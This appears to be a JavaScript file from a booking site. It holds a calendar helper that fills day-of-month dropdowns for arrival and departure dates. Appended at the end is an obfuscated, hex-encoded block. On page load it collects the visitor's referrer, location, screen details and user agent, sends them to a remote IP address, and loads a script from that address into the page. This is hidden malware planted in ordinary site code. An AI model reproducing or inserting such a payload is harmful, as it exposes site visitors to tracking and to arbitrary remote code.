function daysOfMonth(_ba){
var _bb=_ba.selectedIndex;
var _bc;
if(_bb<0){
return;
}
if(_ba.id=="departureDateSelect"){
_bc=$("departureDateField");
}else{
_bc=$("arrivalDateField");
}
var _bd=_ba.options[_bb].value;
var _be=_bd.substring(_bd.indexOf("-")+1);
_be=_be.substring(0,1)=="0"?_be.substring(1,2):_be;
var _bf=parseInt(_be);
var _c0=31;
if(_bf==4||_bf==6||_bf==9||_bf==11){
_c0=30;
}else{
if(_bf==2){
_c0=28;
}
}
var _c1=_bc.options.length;
if(_c1>_c0+1){
for(i=_c1-1;i>_c0;i--){
_bc.remove(i);
}
}else{
for(var i=_c1;i<_c0+1;i++){
var _c3=document.createElement("OPTION");
_c3.value=i;
_c3.text=i;
if(evt_getModel().calendar.arrival&&evt_getModel().calendar.departure){
if((_ba.id=="arrivalDateSelect"&&evt_getModel().calendar.arrival.getDate()==i&&evt_getModel().calendar.arrival.getMonth()==_bf-1)||(_ba.id=="departureDateSelect"&&evt_getModel().calendar.departure!="0"&&evt_getModel().calendar.departure.getDate()==i&&evt_getModel().calendar.departure.getMonth()==_bf-1)){
_c3.selected=true;
}
}
var _c4=null;
if(document.all){
_c4=_bc.length;
}
_bc.add(_c3,_c4);
}
}
}
evt_regForModelChanges(CALENDAR,cal_hasChanged);


var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
